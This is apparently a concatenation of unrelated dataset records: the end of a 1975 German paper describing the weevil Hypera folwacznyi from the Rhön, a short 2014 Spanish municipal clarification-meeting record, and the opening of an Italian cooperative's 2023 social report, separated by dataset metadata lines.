Larve ergab ebenfalls am 1. 8. ein ♀, der Kokon mit der Puppe bereits am 26. 7. ein ♀. Diese beiden ♀♀ fraßen nach dem Schlüpfen die Kokonwand entweder zur Hälfte oder vollständig auf und ernährten sich erst dann von den Blüten der Wirtspflanze. Die Zucht der Larven blieb erfolglos. Die kleinen Larven starben trotz reichen Nahrungsangebots im Zuchtglas bald ab. Die vier erwachsenen Larven brachten es nicht fertig, einen Kokon zu bauen. Sie sonderten wohl aus der Analregion ein gelbes, zähes Sekret ab, das jedoch nicht zu einem Kokon geformt wurde, sondern an der Papierunterlage des Zuchtbehälters klebte. Mitte August starben auch diese Larven. Die Entwicklung könnte man aus den genannten Daten wie folgt zusammenfassen: Die Käfer überwintern und gehen im späten Frühjahr auf ihre Wirtspflanzen. Die Eiablage erfolgt wahrscheinlich Mitte bis Ende Juni. Die Larvenentwicklung dauert etwa drei bis vier Wochen. Nach einer Puppenruhe von nur einer Woche schlüpfen die Käfer. Die neue Generation erscheint Mitte Juli bis Mitte August. **Verbreitung:** Germania centralis: Hohe Rhön, sowohl in den thüringischen als auch fränkischen Teilen des Gebirges. **DDR:** Thüringen, Bezirk Suhl: Ellenbogen nördlich Frankenheim 1♂ (Typus), 2♀♀, 23. 7. 1974, 3♂♂ durch Zucht aus Larven und Puppen aus 3 Kokons erhalten, leg. DIECKMANN & OEHLEK, coll. DIECKMANN Eberswalde. **BRD:** Franken: Schwarzes Moor am Eisgraben, 1♂, 23. 6. 1968, 1♀ 4. 7. 1971, leg. et coll. FOLWACZNY, Bad Hersfeld; Rother Kuppe, 2♂♂, 2♀♀ 21. 7. 1973, 10♂♂, 14♀♀ 29. 7. 1973, 2♂♂, 1♀ 2. 9. 1973, 2 Ex. 8. 8. 1974 leg. FOLWACZNY, coll. FOLWACZNY (27 Ex.), coll. SMRECZYNSKI, Krakow (1♂, 1♀), coll. TEMPERE, Gradignan (1♂, 1♀), coll. DIECKMANN, Eberswalde (1♂, 1♀); Elzbach-Tal südlich der Rother Kuppe, 1♀ 14. 7. 1973 leg. et coll. FOLWACZNY. *Es ist mir eine besondere Freude, die neue Art ihrem Entdecker, FOLWACZNY (Bad Hersfeld), zu widmen, der sich als Spezialist der Unterfamilie Cossinae große Verdienste um die Erforschung der Küsselkäfer erworben hat.* Dr. G. TEMPERE (Gradignan) dem besten Kenner der französischen Hyperinae und Prof. Dr. S. SMRECZYNSKI (Krakow) danke ich herzlich für ihre wertvollen Hinweise, die bei der Beschreibung der neuen Art mit verwendet worden sind. Danken möchte ich auch meinem Kollegen Dr. J. OEHLEK, der das Aufsuchen des recht entlegenen Ellenbogen-Berges in der Rhön erst möglich machte, indem er mit seinem Auto an der Exkursion teilnahm, wie auch meinen Kolleginnen H. WEHRENS und H. DÖBLER für das Anfertigen der Photographien sowie der Zeichnungen. Besonderer Dank gebührt Herrn B. FOLWACZNY, der sich hauptsächlich in den Jahren 1973 und 1974 durch mehrfache Exkursionen zu den Sammelstellen um die Aufklärung der Lebensweise der neuen Art verdient gemacht hat und mir diese Daten für die Beschreibung zur Verfügung stellte. **Zusammenfassung** Aus Mitteleuropa wird *Hypera folwacznyi* spec. nov. beschrieben und mit den nahe verwandten Arten *H. gandellei* (CAPIDOMONT) aus den Pyrenäen und *H. gestroi* (PETRI) aus Sibirien verglichen. *H. folwacznyi* ist nur aus dem Rhön-Gebirge bekannt. **Summary** The middleeuropean *Hypera folwacznyi* spec. nov. is described and compared with the two similar species *H. gandellei* (CAPIDOMONT) from the Pyrenees and *H. gestroi* (PETRI) from Siberia. *H. folwacznyi* was discovered in the Rhön mountain. **Резюме** Описывается *Hypera folwacznyi* spec. nov. из Средней Европы и сравнивается с близкими видами *H. gandellei* (САРИОМОНТ) из Пиренейских гор и *H. gestroi* (ПЕТРИ) из Сибири. *H. folwacznyi* найдена только в горах Рёна. **Literatur** PETRI, K. Monographie des Coleopteren-Tribus Hyperini. Siebenbürg. Ver. Naturwiss. Hermannstadt II, 210 pp.; 1901. TEMPERE, G. Nouvelle notes sur les Curculionidae de la faune française (Col.), Taxonomie, Chorologie, Écologie, Ethologie. Ann. Soc. Ent. Fr. (N.S.) 8 (1), 141—167; 1972. Zoologisch-Botanische Datenbank/Zoological-Botanical Database Digitale Literatur/Digital Literature Zeitschrift/Journal: Beiträge zur Entomologie = Contributions to Entomology Jahr/Year: 1975 Band/Volume: 25 Autor(en)/Author(s): Dieckmann Lothar Artikel/Article: Hypera folwacznyi spec. nov. aus dem Rhön-Gebirge (Coleoptera, Curculionidae). 15-20
30cff097-46d8-469c-881c-5fd83f4f7991
HuggingFaceFW/finepdfs/tree/main/data/deu_Latn/train
finepdfs
deu_Latn
20,866
JUNTA DE ACLARACIONES DESCRIPCIÓN: CONFORMACION DE DIVERSAS CALLES EN EL EJIDO EL ORO Nº OBRA: OP-14-097 ES NECESARIO HACERLO NO HAY PROBLEMAS NI ACLARACIONES Por la Presidencia Municipal: Arq. Francisco Gutierrez Ramirez RESIDENTE DE OBRA Compañías Constructoras: C. Eugenio Hernández Cantú HEVIL CONSTRUCCIONES S.A DE C.V. C. Víctor Enrique Ontiveros Delgado VICTOR ENRIQUE ONTIVEROS DELGADO Lic. Gerardo García Farias IMPORTACIONES MATERIALES Y CONSTRUCCIONES S.A .V. Lunes 2 de Junio de 2014 09:15 a.m.
<urn:uuid:3aa64a1d-39ed-45d9-a4bb-d0f54c27a71b>
HuggingFaceFW/finepdfs/tree/main/data/spa_Latn/train
finepdfs
spa_Latn
516
IL BILANCIO SOCIALE 2023 Il nostro impegno per le persone e la comunità # Sommario 1. **PREMESSA/INTRODUZIONE** ................................................................. 5 2. **NOTA METODOLOGICA E MODALITA’ DI APPROVAZIONE, PUBBLICAZIONE E DIFFUSIONE DEL BILANCIO SOCIALE** .................................................. 6 3. **INFORMAZIONI GENERALI SULL’ENTE** .................................................. 7 - Aree territoriali di operatività ........................................................................... 7 - Valori e finalità perseguite (missione dell’ente – come da statuto/atto costitutivo) .............................................................................................................. 7 - Attività statutarie individuate e oggetto sociale (art. 5 DL n. 117/2017 e/o all’art. 2 DL legislativo n. 112/2017 o art. 1 l. n. 381/1991) .................................................................................................................. 8 - Contesto di riferimento ..................................................................................... 11 - Storia dell’organizzazione ................................................................................ 12 4. **STRUTTURA, GOVERNO E AMMINISTRAZIONE** ........................................ 14 - Consistenza e composizione della base sociale/associativa. ....................... 14 - Sistema di governo e controllo, articolazione, responsabilità e composizione degli organi ........................................................................................................ 15 - Modalità di nomina e durata carica .................................................................. 15 - N. di CdA/anno + partecipazione media ......................................................... 16 - Tipologia organo di controllo .......................................................................... 16 - Mappatura dei principali stakeholder ............................................................ 17 - Presenza sistema di rilevazioni di feedback .................................................. 23 - Commento ai dati ............................................................................................. 23 5. **PERSONE CHE OPERANO PER L’ENTE** ..................................................... 24 - Tipologie, consistenza e composizione del personale (retribuito o volontario) ........................................................................................................ 24 - Composizione del personale ........................................................................... 24 - Attività di formazione e valorizzazione realizzate ........................................ 27 - Contratto di lavoro applicato ai lavoratori ...................................................... 27 - Natura delle attività svolte dai volontari ....................................................... 28 - Struttura dei compensi, delle retribuzioni, delle indennità di carica e modalità e importi dei rimborsi ai volontari “emolumenti, compensi o corrispettivi a qualsiasi titolo attribuiti ai componenti degli organi di amministrazione e controllo, ai dirigenti nonché agli associati” ........................................................................................................ 28 - Rapporto tra retribuzione annua lorda massima e minima dei lavoratori dipendenti dell’ente ................................................................. 28 In caso di utilizzo della possibilità di effettuare rimborsi ai volontari a fronte di autocertificazione, modalità di regolamentazione, importo dei rimborsi complessivi annuali e numero di volontari che ne hanno usufruito ................................................................. 29 6. OBIETTIVI E ATTIVITÀ ........................................................................................................... 30 Dimensioni di valore e obiettivi di impatto .................................................................................. 30 Output attività ................................................................................................................................ 36 Tipologia attività esterne (Eventi di socializzazione organizzati a contatto con la comunità locale) .............................................................................................................................................. 37 Altre tipologie specifiche di beneficiari non ricompresi nelle elencazioni precedenti ............... 37 Esplicitare il livello di raggiungimento degli obiettivi di gestione individuati, gli eventuali fattori risultati rilevanti per il raggiungimento (o il mancato raggiungimento) degli obiettivi programmati .............................................................................................................................................. 38 7. SITUAZIONE ECONOMICO-FINANZIARIA ............................................................................ 40 Provenienza delle risorse economiche con separata indicazione dei contributi pubblici e privati .............................................................................................................................................. 40 Capacità di diversificare i committenti .......................................................................................... 41 Specifiche informazioni sulle attività di raccolta fondi (se prevista) ........................................ 42 Finalità generali e specifiche delle raccolte effettuate nel periodo di riferimento, strumenti utilizzati per fornire informazioni al pubblico sulle risorse raccolte e sulla destinazione delle stesse .............................................................................................................................................. 42 Segnalazioni da parte degli amministratori di eventuali criticità emerse nella gestione ed evidenziazione delle azioni messe in campo per la mitigazione degli effetti negativi ...... 42 8. INFORMAZIONI AMBIENTALI ................................................................................................. 44 Tipologie di impatto ambientale connesse alle attività svolte .................................................. 44 9. INFORMAZIONI SU RIGENERAZIONE ASSET COMUNITARI .................................................. 45 Tipologia di attività ..................................................................................................................... 45 Descrizione sintetica delle attività svolte in tale ambito e dell’impatto perseguito attraverso la loro realizzazione .............................................................................................................. 45 Coinvolgimento della comunità .................................................................................................... 46 Eventi/iniziative di sensibilizzazione sul tema della rigenerazione degli asset comunitari. 46 Indicatori ....................................................................................................................................... 46 10. ALTRE INFORMAZIONI NON FINANZIARIE ....................................................................... 48 Aspetti di natura sociale, la parità di genere, il rispetto dei diritti umani, la lotta contro la corruzione ecc. ......................................................................................................................... 48 Principali questioni trattate e decisioni adottate nel corso delle riunioni ............................... 49 La COOPERATIVA/impresa sociale ha adottato il modello della L. 231/2001? Si.............. 51 La COOPERATIVA/impresa sociale ha acquisito il Rating di legalità? No........................................... 51 La COOPERATIVA/impresa sociale ha acquisito certificazioni di qualità dei prodotti/processi? Si.................................................................................................................................................. 51 11. MONITORAGGIO SVOLTO DALL’ORGANO DI CONTROLLO SUL BILANCIO SOCIALE (modalità di effettuazione degli esiti)................................................................................................................................. 52 Relazione organo di controllo............................................................................................................................................................................. 53 1. PREMESSA/INTRODUZIONE Cari Soci Il Bilancio Sociale di questo anno è per il nostro Consorzio l’opportunità di presentare la nostra società cooperativa sociale che lavora in continuità con il percorso tracciato in questi 23 anni di storia ma con alcune novità significative. Tra queste è rilevante il numero di organizzazioni con le quali collabora, l’incremento del numero dei lavoratori e delle lavoratrici, il potenziamento delle aziende che collaborano come partner, segno di una vitalità forte e della volontà di rispondere attivamente alle problematiche socio-lavorative che i contesti in cui operiamo ci presentano. Il Bilancio sociale è lo strumento che ci permette di mettere in evidenza il lavoro svolto con impegno, determinazione e grande responsabilità; risponde all’esigenza sempre più attuale di valutare Idea Lavoro non tanto in relazione ai risultati economici, se pur importanti e già esaminati con il bilancio d’esercizio, ma soprattutto in relazione al ruolo e ai compiti che essa svolge ed assolve nei differenti contesti in cui si trova ad operare. Questo 2023 è stato un anno intenso che raccoglie i frutti di periodi precedenti e getta semi per il futuro sempre in dialogo con le reti territoriali, i partner e in stretto contatto con la comunità, i beneficiari e le beneficiarie dei nostri progetti. Il bilancio sociale, in questa veste, ci aiuta a raccontarci in modo sintetico e diretto all’esterno comunicando chi siamo oggi e come portiamo avanti la nostra missione. Allo stesso tempo ci aiuta a crescere internamente, in consapevolezza e riflessione sui punti di forza e sulle criticità, sulle nostre caratteristiche di consorzio di cooperative sociali e su quanto vogliamo migliorare nel perseguire gli scopi che il consorzio si pone, con le radici salde nei valori ispiratori della solidarietà e della mutualità, determinati nell’operare per il lavoro dignitoso, fattore indispensabile per il ben-essere delle persone. A tal proposito mi piace citare le parole del nostro Presidente Mattarella, dette in occasione di una visita al SERMIG di Torino. “C’è un bellissimo film, “Nelle scarpe altrui”: è un modo di dire molto significativo, come mettersi nei panni degli altri. In realtà si scopre che sono i panni propri, si scopre che la sorte degli altri è anche la sorte nostra, che si realizza insieme a quella degli altri”. Buona lettura La Presidente [Signature] 2. NOTA METODOLOGICA E MODALITÀ DI APPROVAZIONE, PUBBLICAZIONE E DIFFUSIONE DEL BILANCIO SOCIALE Il consorzio Idea Agenzia per il Lavoro, con questa edizione del bilancio sociale, si prefigge di comunicare all’esterno in modo efficace, sintetico, trasparente e chiaro i principali esiti dell’attività realizzata nel 2023 al fine di offrire un’informativa strutturata e puntuale a tutti i stakeholder circa l’impatto sociale prodotto, dove “Per valutazione dell’impatto sociale si intende la valutazione qualitativa e quantitativa, sul breve, medio e lungo periodo, degli effetti delle attività svolte sulla comunità di riferimento rispetto all’obiettivo individuato” (L. 106/2016 - art.7 comma 3). Per la stesura del documento ci si è serviti del modello di Confcooperative-Federsolidarietà, sono state seguite le Linee Guida per la redazione del Bilancio Sociale degli enti del terzo settore ai sensi dell’art 14 comma 1 del D.Lgs 117/2017). La redazione del Bilancio Sociale avviene secondo una metodologia partecipata che coinvolge la Presidente, un consigliere, le coordinatrici, l’area amministrativa, l’area progetti. Il processo di rendicontazione si è configurato con una fase di analisi della realtà cooperativa e di raccolta dei dati a cura delle diverse funzioni aziendali e dei responsabili delle varie aree di attività. Il gruppo di lavoro che redige il bilancio sociale è costituito da persone che lavorano e conoscono la Cooperativa ed elaborano i dati mettendo a disposizione le loro competenze tecniche, amministrative e direzionali per fornire a tutti i portatori di interesse un utile strumento di analisi. Nel presente documento, verranno analizzati e valutati gli obiettivi prefissati e sarà anche un utile strumento comparativo con i bilanci precedenti. E’ in tal senso che il presente bilancio sociale punta a rispettare tutti i principi proposti dalle linee guida nazionali (capitolo 5 delle linee guida per gli enti di Terzo settore): rilevanza delle informazioni fornite, completezza alla luce degli stakeholder con cui l’organizzazione si relaziona; prudenza – gli eventi devono essere descritti senza sopravalutare le caratteristiche proprie dell’Ente; neutralità: l’informazione non deve essere subordinata a specifici interessi; competenza di periodo (con riferimento prioritario all’esercizio di riferimento, ma anche con alcune analisi di trend o di impatto di medio periodo); comparabilità: i dati devono essere misurabili per poter verificare l’andamento della gestione rispetto agli anni precedenti; chiarezza espositiva (pur usando talvolta un linguaggio tecnico) al fine di rendere il più possibile comprensibili le informazioni contenute; veridicità e attendibilità: la rappresentazione della gestione aziendale deve essere corrispondente alle realtà. I documenti che hanno permesso la realizzazione di questo Bilancio Sociale sono: lo Statuto, la Carta dei Servizi, la relazione delle attività 2023, Verbali Assemblee Soci e Verbali Consigli di Amministrazione, l’ultimo bilancio patrimoniale ed economico e ogni altro documento ritenuto utile. 3. INFORMAZIONI GENERALI SULL’ENTE Informazioni generali: | Nome dell’ente | CONSORZIO IDEA AGENZIA PER IL LAVORO S.C.S. | |----------------|---------------------------------------------| | Codice fiscale | 07943440011 | | Partita IVA | 07943440011 | | Forma giuridica e qualificazione ai sensi del codice del Terzo settore | Cooperativa Impresa Sociale | | Indirizzo sede legale | VIA BOBBIO, 21/3 - 10141 - TORINO (TO) - TORINO (TO) | | Altri indirizzi | Piazza Terzo Alpini, 1 - PINEROLO (TO) | Aree territoriali di operatività Il territorio di riferimento è intercettabile in aree differenziate all’interno dell’intero territorio nazionale. Piemonte: Via Roma 31 Luserna San Giovanni (TO) - Piazza Terzo Alpini, 1 Pinerolo (TO) - Via Novi, 21 Ovada (AL) - C.so Peschiera n.193 - 10141 Torino Liguria: Via Sottoripa 1A/35 Genova Lombardia: Via Giuseppe Parini 27 Lissone (MB) - Via Stefano Canzio 1 Cinisello Balsamo Veneto: Via Cà Nave, 63 Cittadella (PD) Toscana: Via Nazario Sauro 11 - Prato (PO) Calabria: Via Vallone Petrara 10 Reggio Calabria Campania: Via Miano, 150 (Parco ICE-SNAL) Pal.8 Piano 6 int.22 Napoli Sicilia: Via Natale Attanasio 22/24 Catania Valori e finalità perseguite (missione dell’ente – come da statuto/atto costitutivo) Coerentemente con la propria missione, la forma giuridica prescelta è quella di consorzio di cooperative sociali, in continuità con l’esperienza dei soci fondatori. Idea Agenzia per il Lavoro ha fatto proprio il codice etico di Confcooperative Federsolidarietà, vincolando il proprio operato al rapporto con le comunità locali, alla specializzazione e aggiornamento delle figure professionali, alla valorizzazione delle risorse umane. La cooperativa si ispira ai principi della mutualità, della solidarietà sociale, del rispetto della persona, principi che sono alla base della cooperazione mondiale ed in rapporto ad essi agisce. Idea Lavoro opera senza fine di lucro con strumenti imprenditoriali per l’interesse generale della comunità alla promozione umana e all’integrazione sociale dei cittadini; incrementa le capacità di rispondere ai bisogni dei territori e di promuovere processi di inclusione sociale, creazione di capitale sociale, distribuzione più equa delle opportunità. Il Consorzio è luogo di condivisione, scambio e confronto tra soggetti che hanno scelto di svolgere una parte significativa della propria azione di impresa in modo integrato con altri. soggetti dell'imprenditoria sociale. Nello specifico, il consorzio si pone in primo luogo come soggetto di creazione di relazioni e di integrazioni tra i servizi e le funzioni delle proprie associate e del territorio, nel perseguimento di miglioramenti di sistema; in questo compito ambizioso, il consorzio agisce per sostenere la collaborazione tra cooperative sociali consorziate e imprese esterne al consorzio per una maggiore integrazione sociale e lavorativa delle persone, specie se in condizione di svantaggio socio economico. L'attività è rivolta anche per la realizzazione di un'offerta integrata tramite la collaborazione con enti pubblici ed enti privati di diritto pubblico, per la comprensione dei bisogni e lo sviluppo di servizi maggiormente rispondenti alla domanda territoriale. Attività statutarie individuate e oggetto sociale (art. 5 DL n. 117/2017 e/o all'art. 2 DL legislativo n. 112/2017 o art. 1 l. n. 381/1991) Considerata l'attività mutualistica del Consorzio, nonché i requisiti e gli interessi dei soci, Idea Lavoro ha come oggetto le seguenti attività: a. Svolgere in modo stabilmente organizzato, direttamente e/o tramite l'apporto dei Soci, attività prevalente, anche se non esclusiva, di mediazione fra domanda e offerta di lavoro ai sensi del D. Lgs. 276/03, art. 4, comma 1, lettera c) - agenzie di intermediazione - e successive modificazioni. b. Svolgere qualunque attività connessa e affine al raggiungimento dello scopo di cui all'art 4 del D.Lgs 276/03, attivando forme di cooperazione e collaborazione tra i servizi pubblici e gli operatori privati dell'impiego, per facilitare l'incontro tra domanda e offerta di lavoro; prevenire la disoccupazione di lunga durata; promuovere l'inserimento lavorativo dei lavoratori in condizione di svantaggio; sostenere la mobilità 'geografica del lavoro; promuovere e facilitare l'inclusione sociale e l'inserimento lavorativo di persone con disabilità; c. Svolgere servizi finalizzati all'inserimento o al reinserimento nel mercato del lavoro dei lavoratori e delle persone di cui al comma 4 del D.Lgs n.112 del 03/072017 e ss.mm.ii. d. Svolgere attività di alfabetizzazione, formazione breve volta all'inserimento lavorativo, orientamento di base e specialistico, accompagnamento al lavoro, avviamento alla formazione, promozione di tirocini extracurriculari, informazione su incentivi all'occupazione, promozione di prestazioni socialmente utili, supporto all'autoimpiego, attività di incontro domanda e offerta di lavoro (c.d. matching), l'identificazione e la validazione delle competenze formali, non formali e informali, nonché il supporto di ogni genere a favore di persone disoccupate, lavoratori e lavoratrici in generale, nel pieno rispetto delle norme vigenti che disciplinano l'accreditamento presso le singole regioni e/o province autonome degli operatori che erogano servizi al lavoro; e) Realizzare ogni genere di iniziativa per promuovere l'educazione al lavoro, con particolare riguardo alle persone che formano la comunità ove sia presente una filiale di Idea Lavoro o un socio della stessa, attraverso azioni erogate tramite accordi e/o progetti in partenariato con Enti pubblici e privati che svolgano attività coerenti con la mission del Consorzio. f) Organizzare e gestire attività culturali, artistiche e ricreative di interesse sociale, incluse attività, anche editoriali, di promozione e diffusione della cultura e della pratica del volontariato, e delle attività di interesse generale di cui all’art 2 del D. Lgs n.112 del 03/07/2017 e ss.mm.ii. In relazione a dette attività il consorzio potrà svolgere tutte le attività strumentali previste dal D. Lgs. 276/03 e successive modificazioni. Per il conseguimento dell’oggetto Sociale la Società può svolgere qualunque attività connessa ed affine agli scopi sopra elencati, nonché compiere tutti gli atti e concludere tutte le operazioni contrattuali di natura immobiliare, mobiliare, industriale e finanziaria necessarie od utili alla realizzazione degli scopi sociali e/o comunque direttamente o indirettamente attinenti ai medesimi nonché tra l’altro e solo per indicazione esemplificativa e non limitativa: 1) Aderire a reti territoriali già costituite, o collaborare per la costituzione, per promuovere i diritti delle persone che si trovano in condizione di svantaggio, con disabilità, molto svantaggiate persone beneficiarie di protezione internazionale, persone senza fissa dimora come da normativa nazionale o europea (a titolo non esaustivo: Legge n.381/91 art.4 comma 1; Regolamento UE n.651/2014 della Commissione del 17/06/2014 e ss.mm.ii.- art.2 numero 99; D.Lgs 18 aprile 2016, n.50 e ss.mm.ii.) 2) Collaborare con Università, Istituti scolatici e Enti accreditati per la formazione professionale, Associazioni, Imprese sociali, Ordini professionali, per la progettazione, organizzazione e gestione di corsi di formazione intesi a dare ai propri soci e alle persone interessate strumenti idonei al reinserimento sociale e lavorativo, la qualificazione professionale e la formazione cooperativistica anche fruendo di specifici contributi degli Enti partner e/o dei singoli soggetti interessati. 3) Assumere interessenze e partecipazioni, nelle forme consentite dalla legge, in imprese anche consortili, che svolgano attività analoghe o comunque accessorie all’attività sociale, al solo scopo di realizzare l’oggetto principale e non ai fini del collocamento presso il pubblico, partecipando in particolare allo sviluppo e al finanziamento delle cooperative sociali. 4) Promuovere e partecipare ad enti ed organismi anche consortili finalizzati a sviluppare e ad agevolare gli approvvigionamenti di beni e di servizi a favore dei propri aderenti; potrà inoltre aderire a consorzi fidi al fine di ottenere, per il loro tramite, agevolazioni e facilitazioni nell’accesso al credito bancario per sopportare alle esigenze finanziarie della Società, prestando all’uopo le necessarie garanzie e fideiussioni; 5) Predisporre marchi e denominazioni specifiche con cui contraddistinguere i propri servizi e/o prodotti; sotto l’osservanza delle norme in materia tali marchi e denominazioni possono essere concesse in utilizzo, anche dietro corrispettivo, a terzi, preferibilmente cooperative sociali od a consorzi tra cooperative sociali aventi attività affini, che dovranno impegnarsi al rispetto degli specifici obblighi previsti da apposito regolamento predisposto dal Consiglio d’Amministrazione; 6) Costituire fondi per lo sviluppo tecnologico o per la ristrutturazione o il potenziamento aziendale, nonché adottare procedure di programmazione pluriennale finalizzate allo sviluppo o all’ammodernamento aziendale, ai sensi della legge 59/92 ed eventuali norme modificative ed integrative; 7) Emettere obbligazioni ed altri strumenti finanziari, secondo le modalità e nei limiti previsti dalla vigente normativa; 8) Ricevere prestiti dai soci finalizzati esclusivamente al conseguimento dell’oggetto sociale, stabilendone la disciplina con apposito regolamento approvato con decisione dei soci, il tutto sotto l’osservanza della normativa tempo per tempo vigente in materia e, in particolare, delle norme che disciplinano la raccolta del risparmio tra il pubblico. 9) Aderire ad un gruppo cooperativo paritetico ai sensi dell’articolo 2545-septies del codice civile con espressa esclusione di qualsiasi operazione inerente la raccolta del risparmio tra il pubblico, dell’esercizio delle attività di assicurazione, della sollecitazione del pubblico risparmio ai sensi dell’art. 18 della legge n. 216/74 e successive modificazioni, delle attività di cui alla legge n. 1/91 e n. 197/91 e successive modificazioni e di ogni altra operazione comunque vietata dalle vigenti e future disposizioni di legge. Per il raggiungimento dello scopo sociale la Società richiederà le autorizzazioni necessarie e si avvarrà di tutte le provvidenze ed agevolazioni di legge previste per la cooperazione in generale e/o per gli specifici settori di attività nei quali opera. Le attività di cui al presente oggetto sociale saranno svolte nel rispetto delle vigenti norme in materia di esercizio di professioni riservate per il cui esercizio è richiesta l’iscrizione in appositi albi o elenchi. **Altre attività svolte in maniera secondaria/strumentale** Il Consorzio Idea Lavoro, attraverso i suoi soci o direttamente, opera per facilitare i processi di sviluppo di comunità, condividendo la propria visione e i propri valori sulla base dei quali contribuire a soddisfare i bisogni delle persone, specie quelle in condizione di maggiore fragilità e prive di lavoro. Nella relazione 2023, infatti, evidenziamo il lavoro svolto per l’avvicinamento delle imprese profit, attività improntata non solo per il c.d. scouting aziendale, o la rilevazione delle offerte di lavoro, ma sul riconoscimento reciproco di quei valori condivisibili e rilevanti anche per gli obiettivi ESG; l’acronimo è riferito alle tre aree principali dell’agenda 2030, ovvero, Enviromental (Ambiente), Social (società) e Governance. Nell’attuale contesto gli Enti del Terzo Settore e le aziende profit possono realizzare vere e proprie alleanze in un percorso comune di scambio di pensiero e strategie aziendali, elementi imprescindibili per programmazioni e progettazioni innovative e di significato per il territorio; secondo l’Università di Stanford la palestra migliore per sviluppare capacità di innovazione nei manager sono i problemi sociali. Nell’ambito della finalità di empowerment delle persone e dello sviluppo locale dei territori, continua l’attività a taglio socio-artistico-culturale per facilitare il dialogo tra terzo settore e aziende profit. Si pone, inoltre, come Ente in grado di attivare processi e facilitare la costruzione o il rafforzamento di reti tra vari portatori di interesse. **Collegamenti con altri enti del Terzo settore (inserimento in reti, gruppi di imprese sociali...)** **Reti associative (denominazione e anno di adesione):** | Denominazione | Anno | |------------------------|------| | Confcooperative | 2005 | | Rete HELP - interventi a favore delle donne vittime di violenza | 2019 | | Rete Lavoro | 2011 | Consorzi: | Nome | |-----------------------| | Consorzio Idee in Rete| Altre partecipazioni e quote (valore nominale): | Denominazione | Quota | |---------------|--------| | Banca Etica | 516,46 | Contesto di riferimento Le esperienze pregresse, l’expertise ed il contatto continuo con persone che esprimono bisogni complessi, ci hanno permesso di delineare le direttrici fondamentali della nostra azione, se pur a geometrie variabili e secondo i contesti. - Il potenziamento delle risposte offerte in rete con enti pubblici, privati ed ETS - Il rafforzamento del modello one stop shop per agire una risposta multipla che trasmetta il senso della comunità, coinvolgendo più enti del territorio nella stessa sede, con modi e iniziative diverse per competenza di azione. - L’Organizzazione di iniziative mirate e in raccordo con varie realtà territoriali (ad esempio, l’importante iniziativa Dialoghi sul Lavoro del 18/11/2023, organizzata presso la circoscrizione 3 della Città di Torino, che ha visto la presenza di enti pubblici, ETS e numerose associazioni datoriali). - Il potenziamento del raccordo con le imprese profit, attività improntata non solo per il c.d. scouting aziendale, o la rilevazione delle offerte di lavoro, ma sul riconoscimento reciproco di quei valori condivisibili e rilevanti anche per gli obiettivi ESG. - Il potenziamento delle collaborazioni con agenzie formative e agenzie per il lavoro di somministrazione. - La valorizzazione del principio di sussidiarietà circolare, condividendo le azioni, le risorse e i benefici, approntando nuove soluzioni, anche extra standard, in modo da co-generare delle risposte mirate, innovative, adattabili ai cambiamenti ed ai bisogni emergenti; creando una triangolazione tra gli enti pubblici, le imprese e gli enti del terzo settore (Zamagni 2022). - L’approccio multiprofessionale per sostenere le persone, portatrici di una molteplicità di istanze e di risorse da far emergere (conoscenze, abilità, competenze, relazioni, interessi). Nell’attuale contesto, inoltre, gli Enti del Terzo Settore e le aziende profit possono realizzare vere e proprie alleanze in un percorso comune di scambio di pensiero e strategie aziendali, elementi imprescindibili per programmazioni e progettazioni innovative e di significato per il territorio. Registriamo, infatti, che in linea generale è cresciuta la sensibilità delle aziende verso le progettualità che accompagnano le persone all’inclusione e all’inserimento lavorativo, un buon numero di imprese sente la responsabilità di essere parte attiva nei progetti di vita che possono riguardare tutti gli aspetti dell’esistenza, tra cui ha un ruolo di primo piano il lavoro. Il lavoro da fare in tale direzione, tuttavia, richiede tempi e risorse che non tutte le organizzazioni possono mettere in atto, e che, al momento, sembrano riguardare soprattutto le organizzazioni più grandi. Proprio per tale motivo appare particolarmente significativo il lavoro svolto per sostenere anche le aziende di più piccole dimensioni ma che esprimono un forte potenziale per essere coinvolte come partner significativi, vere imprese formative, della comunità educante. Il consorzio opera, nei vari contesti, in stretta connessione con il socio locale condividendo la strategia che si può riassumere nei seguenti punti: - Semplificazione dei processi attraverso una mappatura e un’analisi continua dei bisogni e l’accoglimento delle richieste provenienti dal territorio e dagli stakeholder - Sviluppo delle reti territoriali per stringere alleanze tra i vari attori locali - Messa in comune delle risorse e dei saperi per generare ulteriori sinergie e collaborazioni - Valutazione continua rispetto alle performances, rimandi efficaci che rappresentano stimoli concreti e continuativi nel tempo per il miglioramento dei servizi. - Condivisione delle informazioni - Attivazione di percorsi formativi, anche utilizzando la qualificazione ottenuta dall’Ente AICQ SICEV per la progettazione e l’erogazione dei corsi per: Professionista della cura della persona a domicilio – Ai sensi della norma UNI 11766:2019 “Assistente familiare: colf, baby sitter, badante”. **Storia dell’organizzazione** Il consorzio Idea Agenzia per il Lavoro nasce nel 2000 e per comprendere il suo percorso iniziamo dalla sua storia. Il Consorzio risulta la prima impresa no profit a operare nell’ambito delle Politiche Attive per il lavoro in quanto i soci fondatori, fin dal 1994, avviando un percorso comune di condivisione di proprie esperienze e Know how acquisiti nel tempo, si attivarono per intervenire e facilitare l’inserimento lavorativo di persone in difficoltà o particolarmente svantaggiate. Il percorso prese avvio dalla stretta collaborazione con la Città di Torino con la quale venne avviato un progetto di Servizi di Accompagnamento al Lavoro che coinvolse annualmente circa 250 disoccupati di lungo periodo. Nel 1996, a seguito della nuova disciplina sui LSU (D.L. 510/95 e Legge 608/96) si diede corso a un progetto pilota per 53 persone, al termine del quale 43 persone vennero assunte (risultato occupazionale dell’80% circa). Successivamente vennero promossi e coordinati vari progetti, in specifico dal 1994 al 1998, e tutti risultarono terreno fertile per la preparazione del progetto pilota “Idea Lavoro agenzia per il lavoro” presentato ai Ministeri del Lavoro e delle Attività produttive. Il consorzio venne costituito nel novembre 2000, con oggetto esclusivo lo svolgimento di servizi di incontro domanda/offerta di lavoro e nel settembre del 2001 ottenne la prima autorizzazione provvisoria, fino al rilascio, dal Ministero del Lavoro in data 27/11/2007, dell’autorizzazione definitiva per svolgere in modo stabilmente organizzato, direttamente o tramite l’apporto dei soci, l’attività prevalente, anche se non esclusiva, di mediazione tra domanda e offerta di lavoro (ai sensi del D.Lgs 276/2003 art.4 c.1 - lettera c). Il ruolo del consorzio è quello di aggregare più enti e di realizzare per essi e con essi una serie di azioni e servizi che diano valore alla realtà dei singoli attraverso forme di condivisione e coinvolgimento. 07/03/2000 Sicuramente la data più significativa è quella della costituzione di Idea Lavoro. 9/2001 Segue la data del rilascio dell’autorizzazione Ministeriale provvisoria 24/08/2010 La certificazione della qualità è stata fondamentale per lo svolgimento dell’attività - EN ISO 9001:2015 per servizi di mediazione al lavoro, erogazione di corsi di formazione e 